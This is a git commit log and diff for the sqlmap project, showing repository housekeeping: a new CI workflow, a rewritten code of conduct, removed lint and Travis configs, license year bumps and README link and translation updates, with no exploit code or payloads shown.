Miroslav Stampar 4e7f0b10d5 Patch related to the #4185 2020-05-04 10:45:39 +02:00
Miroslav Stampar 0351b4a939 Minor patch (CTF related) 2020-05-04 00:06:03 +02:00
Miroslav Stampar 3c93872d53 Update related to the #4182 2020-05-02 13:59:06 +02:00
Miroslav Stampar 881d767df8 Fixes #4181 2020-04-30 16:20:57 +02:00
Miroslav Stampar 1156b53eee Patch for #4178 2020-04-29 14:36:11 +02:00
Miroslav Stampar 5cacf20eb5 Speeding up the post-processing of large dumps 2020-04-27 14:23:47 +02:00
Miroslav Stampar 1825390951 Feeding the OCD 2020-04-26 15:35:34 +02:00
Miroslav Stampar 7815f88027 Patch for #4171 2020-04-26 15:34:27 +02:00
Miroslav Stampar f63a92a272 Another minor patch related to the #4167 2020-04-21 01:26:28 +02:00
Miroslav Stampar e3b3dea46c Patch related to the #4167 2020-04-21 01:21:50 +02:00
Miroslav Stampar 55595edce2 Fixes #4165 2020-04-17 19:29:36 +02:00
Miroslav Stampar aaa0c5c6a8 Minor update 2020-04-15 23:32:15 +02:00
Miroslav Stampar 57bb710ae6 Bug fix (CTF and stuff) 2020-04-08 22:40:23 +02:00
Miroslav Stampar ce9285381d Fixes #4158 2020-04-07 02:07:54 +02:00
805 changed files with 125221 additions and 26145 deletions
+8
View File
@@ -1,8 +1,16 @@
*.conf text eol=lf
*.json text eol=lf
*.html text eol=lf
*.md text eol=lf
*.md5 text eol=lf
*.pl text eol=lf
*.py text eol=lf
*.sh text eol=lf
*.sql text eol=lf
*.txt text eol=lf
*.xml text eol=lf
*.yaml text eol=lf
*.yml text eol=lf
LICENSE text eol=lf
COMMITMENT text eol=lf
+12 -36
View File
@@ -1,46 +1,22 @@
# Contributor Covenant Code of Conduct
# Code of Conduct
## Our Pledge
## Our Goal
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
The sqlmap project provides a professional, technical environment for contributors. We prioritize technical excellence and respectful collaboration.
## Our Standards
## Standards
Examples of behavior that contributes to creating a positive environment include:
Contributors are expected to:
* Using welcoming and inclusive language
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy towards other community members
* Be respectful and professional in all communications.
* Focus on the technical merits of the project.
* Gracefully accept constructive criticism.
Examples of unacceptable behavior by participants include:
Unacceptable behavior includes:
* The use of sexualized language or imagery and unwelcome sexual attention or advances
* Trolling, insulting/derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or electronic address, without explicit permission
* Other conduct which could reasonably be considered inappropriate in a professional setting
## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
## Scope
This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
* Harassment, personal attacks, or doxxing.
* Any behavior that disrupts the technical progress of the project.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
[homepage]: http://contributor-covenant.org
[version]: http://contributor-covenant.org/version/1/4/
The project maintainers have sole authority to moderate discussions and contributions. Decisions are made at the maintainers' discretion to ensure the project remains a focused and productive environment. Reports can be sent to `[email protected]`.
+1
View File
@@ -0,0 +1 @@
github: sqlmapproject
+4 -4
View File
@@ -21,10 +21,10 @@ A clear and concise description of what you expected to happen.
If applicable, add screenshots to help explain your problem.
**Running environment:**
- sqlmap version [e.g. 1.3.5.93#dev]
- Installation method [e.g. git]
- Operating system: [e.g. Microsoft Windows 10]
- Python version [e.g. 3.5.2]
- sqlmap version [e.g. 1.7.2.12#dev]
- Installation method [e.g. pip]
- Operating system: [e.g. Microsoft Windows 11]
- Python version [e.g. 3.11.2]
**Target details:**
- DBMS [e.g. Microsoft SQL Server]
+140
View File
@@ -0,0 +1,140 @@
on:
push:
branches: [ master ]
pull_request:
branches: [ master ]
workflow_dispatch:
concurrency:
group: ci-${{ github.ref }}
cancel-in-progress: true
permissions:
contents: read
jobs:
build:
runs-on: ${{ matrix.os }}
timeout-minutes: 30
env:
# deterministic dict/set iteration order run-to-run (guards against hash-order flakiness in CI)
PYTHONHASHSEED: "0"
strategy:
matrix:
include:
- os: ubuntu-latest
python-version: "pypy-2.7"
- os: macos-latest
python-version: "3.8"
- os: windows-latest
python-version: "3.14"
steps:
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 1
persist-credentials: false
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Python sanity
run: python -VV
- name: Pyflakes lint
shell: bash
run: |
python - <<'PY'
from __future__ import print_function
import subprocess
import sys
subprocess.check_call([
sys.executable, "-m", "pip", "install", "pyflakes"
])
files = subprocess.check_output(
["git", "ls-files", "*.py"]
).decode("utf-8").splitlines()
files = [
f for f in files
if not f.startswith("thirdparty/")
]
proc = subprocess.Popen(
[sys.executable, "-m", "pyflakes"] + files,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
)
out, _ = proc.communicate()
text = out.decode("utf-8", "replace")
lines = [
line for line in text.splitlines()
if " redefines " not in line
]
if lines:
print("\n".join(lines))
sys.exit(1)
if proc.returncode not in (0, 1):
if text:
print(text)
print("pyflakes failed unexpectedly with status %s" % proc.returncode)
sys.exit(proc.returncode or 1)
print("pyflakes: clean")
PY
- name: Basic import test
run: python -c "import sqlmap; import sqlmapapi"
- name: Install optional test deps (lxml, jinja2)
# lxml has no PyPy-2.7 wheel and 5.x is Py3-only, so it cannot be pip-installed there. The
# tests that use it (test_xpath's real-XPath checks, and the --xpath/--ssti vuln-test
# endpoints) skip themselves when the engine is unavailable, so these deps are only needed
# on the Py3 jobs.
if: matrix.python-version != 'pypy-2.7'
run: python -m pip install -q lxml jinja2
- name: Unit tests
# -B: do not write .pyc files. On Python 2 / PyPy a cached .pyc makes a module's __file__
# point at the .pyc, which would make the later --smoke getFileType(__file__) doctest see
# 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean.
run: python -B -m unittest discover -s tests -p "test_*.py"
- name: Esperanto self-test
# offline, deterministic engine check against an in-memory SQLite boolean oracle: all
# compare modes + identify + bytes/text + noisy-oracle quorum + integrity + strategy
# handoff (a failed assertion exits non-zero)
run: python extra/esperanto/run.py --self-test
- name: Coverage
if: matrix.python-version != 'pypy-2.7'
run: |
python -m pip install coverage
python -m coverage run --source=lib,plugins,tamper -m unittest discover -s tests -p "test_*.py"
python -m coverage run -a --source=lib,plugins,tamper sqlmap.py --doc-test
python -m coverage report --fail-under=50
- name: Smoke test
run: python sqlmap.py --smoke-test
- name: Payload lint
# offline: emulates blind + UNION enumeration across all DBMSes and checks
# every payload agent.py builds with lib/utils/sqllint (structural sanity)
run: python sqlmap.py --payload-lint
- name: Vuln test
run: python sqlmap.py --vuln-test
- name: API test
run: python sqlmap.py --api-test
+12 -1
View File
@@ -5,4 +5,15 @@ __pycache__/
traffic.txt
*~
req*.txt
.idea/
.idea/
.aider*
.DS_Store
.github/.DS_Store
data/.DS_Store
extra/.DS_Store
lib/.DS_Store
plugins/.DS_Store
thirdparty/.DS_Store
CLAUDE.md
.coverage
.codegraph/
-546
View File
@@ -1,546 +0,0 @@
# Based on Apache 2.0 licensed code from https://github.com/ClusterHQ/flocker
[MASTER]
# Specify a configuration file.
#rcfile=
# Python code to execute, usually for sys.path manipulation such as
# pygtk.require().
init-hook="from pylint.config import find_pylintrc; import os, sys; sys.path.append(os.path.dirname(find_pylintrc()))"
# Add files or directories to the blacklist. They should be base names, not
# paths.
ignore=
# Pickle collected data for later comparisons.
persistent=no
# List of plugins (as comma separated values of python modules names) to load,
# usually to register additional checkers.
load-plugins=
# Use multiple processes to speed up Pylint.
# DO NOT CHANGE THIS VALUES >1 HIDE RESULTS!!!!!
jobs=1
# Allow loading of arbitrary C extensions. Extensions are imported into the
# active Python interpreter and may run arbitrary code.
unsafe-load-any-extension=no
# A comma-separated list of package or module names from where C extensions may
# be loaded. Extensions are loading into the active Python interpreter and may
# run arbitrary code
extension-pkg-whitelist=
# Allow optimization of some AST trees. This will activate a peephole AST
# optimizer, which will apply various small optimizations. For instance, it can
# be used to obtain the result of joining multiple strings with the addition
# operator. Joining a lot of strings can lead to a maximum recursion error in
# Pylint and this flag can prevent that. It has one side effect, the resulting
# AST will be different than the one from reality.
optimize-ast=no
[MESSAGES CONTROL]
# Only show warnings with the listed confidence levels. Leave empty to show
# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED
confidence=
# Enable the message, report, category or checker with the given id(s). You can
# either give multiple identifier separated by comma (,) or put this option
# multiple time. See also the "--disable" option for examples.
disable=all
enable=import-error,
import-self,
reimported,
wildcard-import,
misplaced-future,
deprecated-module,
unpacking-non-sequence,
invalid-all-object,
undefined-all-variable,
used-before-assignment,
cell-var-from-loop,
global-variable-undefined,
redefine-in-handler,
unused-import,
unused-wildcard-import,
global-variable-not-assigned,
undefined-loop-variable,
global-at-module-level,
bad-open-mode,
redundant-unittest-assert,
boolean-datetime
deprecated-method,
anomalous-unicode-escape-in-string,
anomalous-backslash-in-string,
not-in-loop,
continue-in-finally,
abstract-class-instantiated,
star-needs-assignment-target,
duplicate-argument-name,
return-in-init,
too-many-star-expressions,
nonlocal-and-global,
return-outside-function,
return-arg-in-generator,
invalid-star-assignment-target,
bad-reversed-sequence,
nonexistent-operator,
yield-outside-function,
init-is-generator,
nonlocal-without-binding,
lost-exception,
assert-on-tuple,
dangerous-default-value,
duplicate-key,
useless-else-on-loop
expression-not-assigned,
confusing-with-statement,
unnecessary-lambda,
pointless-statement,
pointless-string-statement,
unnecessary-pass,
unreachable,
using-constant-test,
bad-super-call,
missing-super-argument,
slots-on-old-class,
super-on-old-class,
property-on-old-class,
not-an-iterable,
not-a-mapping,
format-needs-mapping,
truncated-format-string,
missing-format-string-key,
mixed-format-string,
too-few-format-args,
bad-str-strip-call,
too-many-format-args,
bad-format-character,
format-combined-specification,
bad-format-string-key,
bad-format-string,
missing-format-attribute,
missing-format-argument-key,
unused-format-string-argument
unused-format-string-key,
invalid-format-index,
bad-indentation,
mixed-indentation,
unnecessary-semicolon,
lowercase-l-suffix,
invalid-encoded-data,
unpacking-in-except,
import-star-module-level,
long-suffix,
old-octal-literal,
old-ne-operator,
backtick,
old-raise-syntax,
metaclass-assignment,
next-method-called,
dict-iter-method,
dict-view-method,
indexing-exception,
raising-string,
using-cmp-argument,
cmp-method,
coerce-method,
delslice-method,
getslice-method,
hex-method,
nonzero-method,
t-method,
setslice-method,
old-division,
logging-format-truncated,
logging-too-few-args,
logging-too-many-args,
logging-unsupported-format,
logging-format-interpolation,
invalid-unary-operand-type,
unsupported-binary-operation,
not-callable,
redundant-keyword-arg,
assignment-from-no-return,
assignment-from-none,
not-context-manager,
repeated-keyword,
missing-kwoa,
no-value-for-parameter,
invalid-sequence-index,
invalid-slice-index,
unexpected-keyword-arg,
unsupported-membership-test,
unsubscriptable-object,
access-member-before-definition,
method-hidden,
assigning-non-slot,
duplicate-bases,
inconsistent-mro,
inherit-non-class,
invalid-slots,
invalid-slots-object,
no-method-argument,
no-self-argument,
unexpected-special-method-signature,
non-iterator-returned,
arguments-differ,
signature-differs,
bad-staticmethod-argument,
non-parent-init-called,
bad-except-order,
catching-non-exception,
bad-exception-context,
notimplemented-raised,
raising-bad-type,
raising-non-exception,
misplaced-bare-raise,
duplicate-except,
nonstandard-exception,
binary-op-exception,
not-async-context-manager,
yield-inside-async-function
# Needs investigation:
# abstract-method (might be indicating a bug? probably not though)
# protected-access (requires some refactoring)
# attribute-defined-outside-init (requires some refactoring)
# super-init-not-called (requires some cleanup)
# Things we'd like to enable someday:
# redefined-builtin (requires a bunch of work to clean up our code first)
# redefined-outer-name (requires a bunch of work to clean up our code first)
# undefined-variable (re-enable when pylint fixes https://github.com/PyCQA/pylint/issues/760)
# no-name-in-module (giving us spurious warnings https://github.com/PyCQA/pylint/issues/73)
# unused-argument (need to clean up or code a lot, e.g. prefix unused_?)
# function-redefined (@overload causes lots of spurious warnings)
# too-many-function-args (@overload causes spurious warnings... I think)
# parameter-unpacking (needed for eventual Python 3 compat)
# print-statement (needed for eventual Python 3 compat)
# filter-builtin-not-iterating (Python 3)
# map-builtin-not-iterating (Python 3)
# range-builtin-not-iterating (Python 3)
# zip-builtin-not-iterating (Python 3)
# many others relevant to Python 3
# unused-variable (a little work to cleanup, is all)
# ...
[REPORTS]
# Set the output format. Available formats are text, parseable, colorized, msvs
# (visual studio) and html. You can also give a reporter class, eg
# mypackage.mymodule.MyReporterClass.
output-format=parseable
# Put messages in a separate file for each module / package specified on the
# command line instead of printing them on stdout. Reports (if any) will be
# written in a file name "pylint_global.[txt|html]".
files-output=no
# Tells whether to display a full report or only the messages
reports=no
# Python expression which should return a note less than 10 (10 is the highest
# note). You have access to the variables errors warning, statement which
# respectively contain the number of errors / warnings messages and the total
# number of statements analyzed. This is used by the global evaluation report
# (RP0004).
evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10)
# Template used to display messages. This is a python new-style format string
# used to format the message information. See doc for all details
#msg-template=
[LOGGING]
# Logging modules to check that the string format arguments are in logging
# function parameter format
logging-modules=logging
[FORMAT]
# Maximum number of characters on a single line.
max-line-length=100
# Regexp for a line that is allowed to be longer than the limit.
ignore-long-lines=^\s*(# )?<?https?://\S+>?$
# Allow the body of an if to be on the same line as the test if there is no
# else.
single-line-if-stmt=no
# List of optional constructs for which whitespace checking is disabled. `dict-
# separator` is used to allow tabulation in dicts, etc.: {1 : 1,\n222: 2}.
# `trailing-comma` allows a space between comma and closing bracket: (a, ).
# `empty-line` allows space-only lines.
no-space-check=trailing-comma,dict-separator
# Maximum number of lines in a module
max-module-lines=1000
# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1
# tab).
indent-string=' '
# Number of spaces of indent required inside a hanging or continued line.
indent-after-paren=4
# Expected format of line ending, e.g. empty (any line ending), LF or CRLF.
expected-line-ending-format=
[TYPECHECK]
# Tells whether missing members accessed in mixin class should be ignored. A
# mixin class is detected if its name ends with "mixin" (case insensitive).
ignore-mixin-members=yes
# List of module names for which member attributes should not be checked
# (useful for modules/projects where namespaces are manipulated during runtime
# and thus existing member attributes cannot be deduced by static analysis. It
# supports qualified module names, as well as Unix pattern matching.
ignored-modules=thirdparty.six.moves
# List of classes names for which member attributes should not be checked
# (useful for classes with attributes dynamically set). This supports can work
# with qualified names.
ignored-classes=
# List of members which are set dynamically and missed by pylint inference
# system, and so shouldn't trigger E1101 when accessed. Python regular
# expressions are accepted.
generated-members=
[VARIABLES]
# Tells whether we should check for unused import in __init__ files.
init-import=no
# A regular expression matching the name of dummy variables (i.e. expectedly
# not used).
dummy-variables-rgx=_$|dummy
# List of additional names supposed to be defined in builtins. Remember that
# you should avoid to define new builtins when possible.
additional-builtins=
# List of strings which can identify a callback function by name. A callback
# name must start or end with one of those strings.
callbacks=cb_,_cb
[SIMILARITIES]
# Minimum lines number of a similarity.
min-similarity-lines=4
# Ignore comments when computing similarities.
ignore-comments=yes
# Ignore docstrings when computing similarities.
ignore-docstrings=yes
# Ignore imports when computing similarities.
ignore-imports=no
[SPELLING]
# Spelling dictionary name. Available dictionaries: none. To make it working
# install python-enchant package.
spelling-dict=
# List of comma separated words that should not be checked.
spelling-ignore-words=
# A path to a file that contains private dictionary; one word per line.
spelling-private-dict-file=
# Tells whether to store unknown words to indicated private dictionary in
# --spelling-private-dict-file option instead of raising a message.
spelling-store-unknown-words=no
[MISCELLANEOUS]
# List of note tags to take in consideration, separated by a comma.
notes=FIXME,XXX,TODO
[BASIC]
# List of builtins function names that should not be used, separated by a comma
bad-functions=map,filter,input
# Good variable names which should always be accepted, separated by a comma
good-names=i,j,k,ex,Run,_
# Bad variable names which should always be refused, separated by a comma
bad-names=foo,bar,baz,toto,tutu,tata
# Colon-delimited sets of names that determine each other's naming style when
# the name regexes allow several styles.
name-group=
# Include a hint for the correct naming format with invalid-name
include-naming-hint=no
# Regular expression matching correct function names
function-rgx=[a-z_][a-z0-9_]{2,30}$
# Naming hint for function names
function-name-hint=[a-z_][a-z0-9_]{2,30}$
# Regular expression matching correct variable names
variable-rgx=[a-z_][a-z0-9_]{2,30}$
# Naming hint for variable names
variable-name-hint=[a-z_][a-z0-9_]{2,30}$
# Regular expression matching correct constant names
const-rgx=(([A-Z_][A-Z0-9_]*)|(__.*__))$
# Naming hint for constant names
const-name-hint=(([A-Z_][A-Z0-9_]*)|(__.*__))$
# Regular expression matching correct attribute names
attr-rgx=[a-z_][a-z0-9_]{2,30}$
# Naming hint for attribute names
attr-name-hint=[a-z_][a-z0-9_]{2,30}$
# Regular expression matching correct argument names
argument-rgx=[a-z_][a-z0-9_]{2,30}$
# Naming hint for argument names
argument-name-hint=[a-z_][a-z0-9_]{2,30}$
# Regular expression matching correct class attribute names
class-attribute-rgx=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$
# Naming hint for class attribute names
class-attribute-name-hint=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$
# Regular expression matching correct inline iteration names
inlinevar-rgx=[A-Za-z_][A-Za-z0-9_]*$
# Naming hint for inline iteration names
inlinevar-name-hint=[A-Za-z_][A-Za-z0-9_]*$
# Regular expression matching correct class names
class-rgx=[A-Z_][a-zA-Z0-9]+$
# Naming hint for class names
class-name-hint=[A-Z_][a-zA-Z0-9]+$
# Regular expression matching correct module names
module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$
# Naming hint for module names
module-name-hint=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$
# Regular expression matching correct method names
method-rgx=[a-z_][a-z0-9_]{2,30}$
# Naming hint for method names
method-name-hint=[a-z_][a-z0-9_]{2,30}$
# Regular expression which should only match function or class names that do
# not require a docstring.
no-docstring-rgx=^_
# Minimum line length for functions/classes that require docstrings, shorter
# ones are exempt.
docstring-min-length=-1
[ELIF]
# Maximum number of nested blocks for function / method body
max-nested-blocks=5
[IMPORTS]
# Deprecated modules which should not be used, separated by a comma
deprecated-modules=regsub,TERMIOS,Bastion,rexec
# Create a graph of every (i.e. internal and external) dependencies in the
# given file (report RP0402 must not be disabled)
import-graph=
# Create a graph of external dependencies in the given file (report RP0402 must
# not be disabled)
ext-import-graph=
# Create a graph of internal dependencies in the given file (report RP0402 must
# not be disabled)
int-import-graph=
[DESIGN]
# Maximum number of arguments for function / method
max-args=5
# Argument names that match this expression will be ignored. Default to name
# with leading underscore
ignored-argument-names=_.*
# Maximum number of locals for function / method body
max-locals=15
# Maximum number of return / yield for function / method body
max-returns=6
# Maximum number of branch for function / method body
max-branches=12
# Maximum number of statements in function / method body
max-statements=50
# Maximum number of parents for a class (see R0901).
max-parents=7
# Maximum number of attributes for a class (see R0902).
max-attributes=7
# Minimum number of public methods for a class (see R0903).
min-public-methods=2
# Maximum number of public methods for a class (see R0904).
max-public-methods=20
# Maximum number of boolean expressions in a if statement
max-bool-expr=5
[CLASSES]
# List of method names used to declare (i.e. assign) instance attributes.
defining-attr-methods=__init__,__new__,setUp
# List of valid names for the first argument in a class method.
valid-classmethod-first-arg=cls
# List of valid names for the first argument in a metaclass class method.
valid-metaclass-classmethod-first-arg=mcs
# List of member names, which should be excluded from the protected access
# warning.
exclude-protected=_asdict,_fields,_replace,_source,_make
[EXCEPTIONS]
# Exceptions that will emit a warning when being caught. Defaults to
# "Exception"
overgeneral-exceptions=Exception
-20
View File
@@ -1,20 +0,0 @@
language: python
jobs:
include:
- python: 2.6
dist: trusty
- python: 2.7
dist: trusty
- python: 3.3
dist: trusty
- python: 3.6
dist: trusty
- python: 3.9-dev
dist: bionic
sudo: false
git:
depth: 1
script:
- python -c "import sqlmap; import sqlmapapi"
- python sqlmap.py --smoke
- python sqlmap.py --vuln
-46
View File
@@ -1,46 +0,0 @@
GPL Cooperation Commitment
Version 1.0
Before filing or continuing to prosecute any legal proceeding or claim
(other than a Defensive Action) arising from termination of a Covered
License, we commit to extend to the person or entity ('you') accused
of violating the Covered License the following provisions regarding
cure and reinstatement, taken from GPL version 3. As used here, the
term 'this License' refers to the specific Covered License being
enforced.
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly
and finally terminates your license, and (b) permanently, if the
copyright holder fails to notify you of the violation by some
reasonable means prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you
have received notice of violation of this License (for any work)
from that copyright holder, and you cure the violation prior to 30
days after your receipt of the notice.
We intend this Commitment to be irrevocable, and binding and
enforceable against us and assignees of or successors to our
copyrights.
Definitions
'Covered License' means the GNU General Public License, version 2
(GPLv2), the GNU Lesser General Public License, version 2.1
(LGPLv2.1), or the GNU Library General Public License, version 2
(LGPLv2), all as published by the Free Software Foundation.
'Defensive Action' means a legal proceeding or claim that We bring
against you in response to a prior proceeding or claim initiated by
you or your affiliate.
'We' means each contributor to this repository as of the date of
inclusion of this file, including subsidiaries of a corporate
contributor.
This work is available under a Creative Commons Attribution-ShareAlike
4.0 International license (https://creativecommons.org/licenses/by-sa/4.0/).
+1 -1
View File
@@ -1,7 +1,7 @@
COPYING -- Describes the terms under which sqlmap is distributed. A copy
of the GNU General Public License (GPL) is appended to this file.
sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
sqlmap is (C) 2006-2026 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
This program is free software; you may redistribute and/or modify it under
the terms of the GNU General Public License as published by the Free
+19 -11
View File
@@ -1,11 +1,9 @@
# sqlmap ![](https://i.imgur.com/fe85aVR.png)
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter[email protected])](https://twitter.com/sqlmap)
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x[email protected])](https://x.com/sqlmap)
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
**The sqlmap project is currently searching for sponsor(s).**
Screenshots
----
@@ -16,13 +14,13 @@ You can visit the [collection of screenshots](https://github.com/sqlmapproject/s
Installation
----
You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master).
You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master).
Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap works out of the box with [Python](http://www.python.org/download/) version **2.6**, **2.7** and **3.x** on any platform.
sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.7** and **3.x** on any platform.
Usage
----
@@ -41,33 +39,43 @@ To get an overview of sqlmap capabilities, a list of supported features, and a d
Links
----
* Homepage: http://sqlmap.org
* Homepage: https://sqlmap.org
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* User's manual: https://github.com/sqlmapproject/sqlmap/wiki
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* X: [@sqlmap](https://x.com/sqlmap)
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Playground: https://sekumart.sekuripy.hr
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
Translations
----
* [Arabic](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ar-AR.md)
* [Bengali](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bn-BD.md)
* [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md)
* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md)
* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
* [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md)
* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md)
* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-GER.md)
* [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md)
* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-DE.md)
* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md)
* [Hindi](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-in-HI.md)
* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
* [Kurdish (Central)](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ckb-KU.md)
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RU.md)
* [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md)
* [Slovak](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-sk-SK.md)
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md)
* [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md)
-150
View File
@@ -1,150 +0,0 @@
<!DOCTYPE html>
<!-- http://angrytools.com/bootstrap/editor/ -->
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
</head>
<body>
<style>
#wrapper { width: 100%; }
#page-wrapper {
padding: 0 15px;
min-height: 568px;
background-color: #fff;
}
@media(min-width:768px) {
#page-wrapper {
position: inherit;
margin: 0 0 0 250px;
padding: 0 30px;
border-left: 1px solid #e7e7e7;
}
}
